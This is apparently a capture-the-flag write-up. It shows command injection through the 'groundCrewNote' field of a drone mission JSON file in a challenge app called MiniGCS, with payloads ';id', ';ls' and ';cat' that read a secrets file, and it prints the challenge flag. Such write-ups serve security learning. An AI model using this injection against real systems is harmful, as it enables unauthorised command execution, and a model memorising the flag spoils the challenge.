Solve:
We get a simple interface with a json formatter, the starter mission json looks like this:
{
"fileType": "Plan",
"version": 1,
"groundStation": "MiniGCS",
"mission": {
"name": "Storm Damage Survey - Sector 7",
"cruiseSpeed": 8,
"firmwareType": 3,
"vehicleType": 2,
"items": [
{ "type": "SimpleItem", "command": 22, "frame": 3, "autoContinue": true,
"params": [0, 0, 0, null, 44.4268, 26.1025, 40],
"groundCrewNote": "Launch point" },
{ "type": "SimpleItem", "command": 16, "frame": 3, "autoContinue": true,
"params": [0, 5, 0, null, 44.4271, 26.1031, 60],
"groundCrewNote": "Damaged rooftop - visual survey only" },
{ "type": "SimpleItem", "command": 16, "frame": 3, "autoContinue": true,
"params": [0, 5, 0, null, 44.4275, 26.1038, 55],
"groundCrewNote": "Rooftop LZ" },
{ "type": "SimpleItem", "command": 20, "frame": 3, "autoContinue": true,
"params": [0, 0, 0, null, 0, 0, 0],
"groundCrewNote": "Return to launch" }
]
}
}
Pretty interesting, but after a lot of trying I started looking more at the groundCrewNote, also in the MISSION_FORMAT.md, it stated: MiniGCS-specific extension field, not part of the core MAVLink mission spec. Free text, shown in the Messages console when the mission loads. and each " it got rendered away so I said why not try to do a command injection!
After a lot of trying I managed to have a working PoC:
{
"fileType": "Plan",
"version": 1,
"groundStation": "MiniGCS",
"mission": {
"name": "Storm Damage Survey - Sector 7",
"cruiseSpeed": 8,
"firmwareType": 3,
"vehicleType": 2,
"items": [
{ "type": "SimpleItem", "command": 22, "frame": 3, "autoContinue": true,
"params": [0, 0, 0, null, 44.4268, 26.1025, 40],
"groundCrewNote": "Launch point" },
{ "type": "SimpleItem", "command": 16, "frame": 3, "autoContinue": true,
"params": [0, 5, 0, null, 44.4271, 26.1031, 60],
"groundCrewNote": "Damaged rooftop - visual survey only" },
{ "type": "SimpleItem", "command": 16, "frame": 3, "autoContinue": true,
"params": [0, 5, 0, null, 44.4275, 26.1038, 55],
"groundCrewNote": "Rooftop LZ" },
{ "type": "SimpleItem", "command": 20, "frame": 3, "autoContinue": true,
"params": [0, 0, 0, null, 0, 0, 0],
"groundCrewNote": {"command": ";id"} }
]
}
}
Response:
Loading mission: Storm Damage Survey - Sector 7
4 mission item(s) found.
[0] MAV_CMD_NAV_TAKEOFF @ (44.4268, 26.1025, 40m)
Ground crew note: Launch point
[1] MAV_CMD_NAV_WAYPOINT @ (44.4271, 26.1031, 60m)
Ground crew note: Damaged rooftop - visual survey only
[2] MAV_CMD_NAV_WAYPOINT @ (44.4275, 26.1038, 55m)
Ground crew note: Rooftop LZ
[3] MAV_CMD_NAV_RETURN_TO_LAUNCH @ (0, 0, 0m)
Ground crew note: {command:
/bin/sh: 1: id}: not found
Mission loaded successfully.
We managed to break out!
Now to do ls properly I used:
"groundCrewNote": {"command": ";ls . "} }
to get this
Loading mission: Storm Damage Survey - Sector 7
4 mission item(s) found.
[0] MAV_CMD_NAV_TAKEOFF @ (44.4268, 26.1025, 40m)
Ground crew note: Launch point
[1] MAV_CMD_NAV_WAYPOINT @ (44.4271, 26.1031, 60m)
Ground crew note: Damaged rooftop - visual survey only
[2] MAV_CMD_NAV_WAYPOINT @ (44.4275, 26.1038, 55m)
Ground crew note: Rooftop LZ
[3] MAV_CMD_NAV_RETURN_TO_LAUNCH @ (0, 0, 0m)
Ground crew note: {command:
.:
MISSION_FORMAT.md
__pycache__
app_data
entrypoint.sh
mission_loader.py
starter_mission.json
web_app.py
ls: cannot access '}': No such file or directory
Mission loaded successfully.
And inside app_data/secrets:
Loading mission: Storm Damage Survey - Sector 7
4 mission item(s) found.
[0] MAV_CMD_NAV_TAKEOFF @ (44.4268, 26.1025, 40m)
Ground crew note: Launch point
[1] MAV_CMD_NAV_WAYPOINT @ (44.4271, 26.1031, 60m)
Ground crew note: Damaged rooftop - visual survey only
[2] MAV_CMD_NAV_WAYPOINT @ (44.4275, 26.1038, 55m)
Ground crew note: Rooftop LZ
[3] MAV_CMD_NAV_RETURN_TO_LAUNCH @ (0, 0, 0m)
Ground crew note: {command:
app_data/secrets:
flag.txt
ls: cannot access '}': No such file or directory
Mission loaded successfully.
With this last json:
"groundCrewNote": {"command": ";cat app_data/secrets/flag.txt "} }
Loading mission: Storm Damage Survey - Sector 7
4 mission item(s) found.
[0] MAV_CMD_NAV_TAKEOFF @ (44.4268, 26.1025, 40m)
Ground crew note: Launch point
[1] MAV_CMD_NAV_WAYPOINT @ (44.4271, 26.1031, 60m)
Ground crew note: Damaged rooftop - visual survey only
[2] MAV_CMD_NAV_WAYPOINT @ (44.4275, 26.1038, 55m)
Ground crew note: Rooftop LZ
[3] MAV_CMD_NAV_RETURN_TO_LAUNCH @ (0, 0, 0m)
Ground crew note: {command:
CTFAC{784c32b00ffa09dfc28b017fe2aeb6f785d1e99e5e2b275794bbc2305600c30a}
cat: '}': No such file or directory
Mission loaded successfully.
Flag: CTFAC{784c32b00ffa09dfc28b017fe2aeb6f785d1e99e5e2b275794bbc2305600c30a}
Very cool challenge, kudos to the author!